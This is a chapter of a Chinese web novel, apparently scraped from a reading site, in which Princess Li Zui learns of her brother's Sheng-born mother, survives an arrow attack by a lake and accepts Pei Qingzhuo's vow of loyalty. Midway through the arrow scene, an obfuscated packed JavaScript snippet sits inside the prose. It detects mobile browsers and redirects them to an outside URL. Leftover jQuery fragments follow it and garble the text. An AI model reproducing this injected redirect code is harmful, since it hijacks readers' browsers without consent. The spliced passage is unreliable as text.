默认冷灰
24号文字
方正启体

8. 邀君入棋

作者:梨酥醉本书字数:K更新时间:
    “何事笑得如此开心?”


    门外一道阴森森的话音传来,是刚从太后那里请安回来的魏络,黎醉眼疾手快立即扮作奄奄一息的模样,神情恹恹地回答。


    “想来是母后听错了,我浑身上下一点动弹不得,哪还有精力笑呢,不信您问南瑶。”


    “公主一直在修养,适才定是听错了。”


    一旁的南瑶连声点头,双手交叉放置腹部,唯唯诺诺缩在一旁。


    秋意晨霜渐重,屋内燃起星星点点的柴火,魏络审视一番黎醉后,就着一旁的檀木椅坐下,带有命令般的语气问道。


    “前些日,我见你带回一婢女,为何她整日不在你身旁服侍你。”


    母后怎地不似之前那么温和地说话了,眸之所及之处,母女之间亲情无半点可言,昨日一变,不至于此境地,想来是前线战事变动,更添忧思。


    魏络指腹拂过发梢,捋过耳尖,似往日一般安抚她。


    黎醉老老实实回答:“含笑楼赎回来的一个婢女,我瞧她身手不错,想留她在身边做个杀手锏,随时能保护我那种。”


    魏络轻嗯一声,似是了然于心,并未反对。


    黎醉知她心中顾虑:“查过,孤女,刚被绑于含笑楼。”


    “对了,母后,我瞧这蚕丝被有鎏金云纹,我在二哥那里也瞧见过,这又是何渊源?”


    此事耽搁过久,黎醉前些日没来得及问,想来两日后去灵安寺,怕是再没问的契机,不如今日问清,也好做打量。


    “我与二皇子生母乃情重如亲姐妹,自然她会的手艺,我也会。”魏络回答。


    说起这来,黎醉不由地对黎云的事多了好奇,杏眼湿漉漉地如晨曦清露,星星点点燃在对视之人的眼中,不由地心软。


    “你须先答应我,此去灵安——”


    黎醉抢先一步举手保证:“不惹是生非,安分守己,做好静安面过、礼佛祈福。”


    魏络见她语气真挚,没再多说什么,示意看了一眼南瑶,只留母女二人留于深闺,细细长谈起来。


    “你二哥生母当年与我于战场认识,是盛国人,当年你父皇还是南王,驰骋沙场,她生母是盛国丞相嫡女,可当时叛贼涌入,背信弃义,将其弃于荒野,于是乎我们三人结成好友,随后——”


    盛国人?那含笑楼掌柜逃至陵州,莫非黎云私下还与盛人往来?盛人擅机关术法,尤以木匠最为巧手。


    记忆里黎云坐的那木制的跛辇还是当年寻的木匠师傅做的,思及此,今日还得出去见裴清酌。


    黎醉满脸艳羡不已,双手并做掌心,放在脸颊一侧,细眉挑了挑:“母后?你还去过战场?那您是不是武艺高强,跟舅舅一样?”


    这古灵精怪的动作一摆出,魏络忍不住轻笑:“我是当时随行女眷,我并不会武,自小便被指定为南王妃,学的是琴棋书画,纵然你大舅整日舞刀弄枪,但我只能多背些女诫。”


    黎醉蔫了下来:“我可能说的话您不爱听,当然还会再挨一顿板子,女诫教人男尊女卑,夫为妻纲,我……也罢,母后您接着说。”


    板子挨得不是太多,今日勉强下床,不能再挨了。


    “母后并未不允你习武,此番去灵安寺你大可随性而为,不必思前顾后,但也莫惹是生非。”


    此话有些歧义,但黎醉瞬间顿彻母后做法,这样一来,灵安寺偏安一隅,做事更方便,远离后宫纷争。


    黎醉:“那……母后,黎南凝那边……”


    魏络笑笑不说话,似乎默认此事:“皓曦,皓寓意洁白、明亮,曦是清晨阳光,母后大抵是走不出这宫中了,但你不同。”


    泪珠不知何时瞬沿眼角挂出,黎醉低头,鼻尖通红,独留一个黑乎乎的脑袋给魏络。


    随后魏络说了盛国当时知晓其女儿在盛国,以作要挟分割领土,奈何当时圣上深情厚谊,对这位妃子宠爱至极,引得后宫混乱,而二皇子幼时那场火灾,他的生母未曾逃出,此事便也作罢,数年以来,二皇子不曾关注朝堂正事,一心困于书中,要不是此次含笑楼之事暴露,黎醉无论如何也不会怀疑到二皇子身上。


    因为她的哥哥一直都是一个很疼她、护她,多次因为裴清酌对她爱答不理,以此动手,会不会当真误会他了呢?


    “公主殿下?您还好吗?”


    一瞬思绪被打断,眼前男人眉如远山,凤眸摇曳潋滟水光,陌上人如玉,气质疏离,衣袂飘飘剪离烟,浔心亭外萧瑟秋意浓,染重霜,浸心尖。


    裴清酌这一道清冷嗓音开口说话,黎醉回过神来,她比他早些来,原因是黎醉动作略显忸怩,走路姿势诡异得紧,不如先一步前来。


    浔心亭地处洛都西湖,虽是秋意盎然,但水光潋滟,美景一绝。


    二人现在相对而坐,桌上摆了白壶玉盏,裴清酌来的时间比约定的申时晚了几刻,黎醉没多问,只见他从袖中拿出刚打包来恰的果脯蜜饯,是她喜欢的葡萄肉脯干。


    黎醉抿嘴,眼神闪躲,不太自然:“你晚来就是买这个?”


    影影绰绰间仔细打量这人身上的伤口,伤疤历历在目,脖颈手腕之处犹如美玉染裂痕,唏嘘却又令人扼腕叹息。


    黎醉衣裙之下,垫了蒲团,懒懒开口说着:“裴清酌,你为何会被绑至含笑楼?不是你盛国护国使节庇护你一路平安吗?”


    少女双手撑颌,素手与衣袖间露出一层细白的手腕,再无从前的天真烂漫,毕竟他是前世导致国破家亡的人。


    可如今这份答案又有些不对。


    但还是就着葡萄果脯小口吃起来,眉色稍见缓和,而裴清酌视线紧紧落在少女身上。


    小口细嚼慢咽,不一会因为注意力走散,两侧脸颊鼓起,显得娇憨可爱。


    黎醉见他还不说话,含糊道:“说不说!不说我可把你推湖里去了。”


    骤然,黎醉忽然被呛得噎住,俯身长咳。


    裴清酌抬手揽起衣袖,倾身为她倒茶,递到她的嘴边,不经意间,少女唇瓣与指腹相触,顿时脸憋得通红。


    热息与冰冷指腹交汇,热茶却又在此刻骤然升温。


    黎醉,你太不争气了!怎能如此这般……


    二人前世连手都没拉过,无事无事。


    黎醉印着头皮喝下去,好一会儿才缓过来,随后眼神哀怨地看向裴清酌,蓦然有一种占别人便宜的愠怒。


    裴清酌转身再倒了杯热茶,推至她桌前,以为她会生气他不知礼仪的触碰,只好打破气氛。


    他勾唇轻笑:“公主殿下,你就那么惦记我的小命?


    黎醉依旧眼神哀怨,撅起小嘴:“你管我!但我没有与你说笑,也请你莫玩笑置之,我是真的想取你的命!”


    谁会笑然以对别人威胁你性命的措辞,他的命不值钱吗?怎能如此嬉笑处至。


    骤然,少年止住笑意,视线落向远处,低声对黎醉说:“低头,向我靠近。”


    黎醉见他神情严肃,鬼使神差地低下头,而随着二人的同一动作下来,二人额头紧贴,裴清酌无意冒犯,欲退之,却被黎醉拉回,警惕道:“小心。”


    一只飞箭嗖地一下穿过耳边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125210|196035||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,赫然射到地面木板下,在二人发现后,却慌忙离开了。


    鼻尖相碰的那一瞬,悸动间心花怒放,湖光潋滟,映射少年不曾被人注意到的脸红。


    可反观黎醉依旧观察四周局势,这里地广人稀,刺客最易袭击,可二人今日不过寻常打扮,行踪并未走露。


    黎醉提裙起身离开石墩,那箭身之间依旧是熟悉的鎏金云纹,是二哥的人吗?


    “你适才让我低头,是看到我身后有弓弩对准我吗?不过为何让我低头,躲开或者侧移,如此一来,不是更方便躲开?、


    “忘了。”裴清酌无奈喟叹。


    眼见这姑娘丝毫没有自乱阵脚,依旧从容不迫,对答如流,浑身注意力全不在这上。


    裴清酌咳嗽补充:“此地不宜久留。”


    黎醉点点头:“但是,跑不到别的地方,这里就可以。”


    说罢,少女大摇大摆地坐下来,眉眼弯弯,眼梢轻挑,古灵精怪:“念安,你是不是想盛国了呀。”


    随后少女低声哑语:“只能回答是,故意高冷,假装不虞。”


    殊不知,裴清酌早就被那句念安乱了阵脚,尤其是黎醉此刻活泼可爱的模样,当真跟前世的她一样。


    裴清酌:“是。”


    不多时,黎醉见方才位置再无弓箭手,略有思索:“你是否被你国使节卖至含笑楼,而你并不知道?”


    裴清酌回答得从容不怕:“是。”


    黎醉:“那你是否愿意全盘托之于口。”


    裴清酌依旧眉色柔和,平静如水:“是。”


    黎醉眼见愈发有趣:“你是否愿意为我牺牲生命?”


    裴清酌神态自若:“是。”


    “那你是否愿意为我做任何事?”


    “是。”


    “那你是我的吗?”


    “是。”


    “你是不是不喜欢我?”


    裴清酌摇头:“不是,人已经走了好一会了。”


    喜不喜欢又如何呢?


    黎醉撇嘴:“你就是不想与我玩,嫌我无趣。”


    “我与你皇兄乃是宗亲,他母亲为相府嫡女,当年老夫人悲痛欲绝,特将我认为义孙,前世,我与他合作,为的是求解药,城防图非我所泄露,如公主殿下所见,我并非盛人所爱戴,至于黎国亡国,我始料未及。”


    “我知你定然不信我,之所以未曾动手,不过是我厚着脸皮见昔日恩情而求得半刻安慰,但公主殿下,我这条命,随时可给。”


    ”砰“地一声,裴清酌双膝下跪,语气虔诚而肃静:我愿成你阶下臣,永生囚禁。”


    黎醉吓得后退一步,玄衣男子眼角通红,语气铿锵有力,却跪得□□如雪松,似神佛庇佑下最忠诚的信徒,而她却在那一刻,成为神明。


    黎醉:“为何?”


    男儿膝下有黄金,一跪高堂,二跪天地,何以跪得她一人,且每一个公主殿下的称呼,虔诚而有力。


    要不她也跪一个?黎醉最终选择扶他起身。


    说罢,裴清酌拿出一副画册,淡笑:“此乃宗师绘图,可鉴以学之。”


    黎醉略显忙碌地翻开检索,发现恰好与她所思所想对应。现在局势紧张,二皇兄已然对她产生忌惮,她只得表面装傻,暗中归拢。


    “此局我邀君进入棋,生死皆有我定,可悔?”


    在一切未曾确定之际,黎醉不敢放手一搏,但今日她愿一试。


    裴清酌轻笑,发梢轻轻拂过鼻尖:“不悔。”


    往后余生,他的命惟她一人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)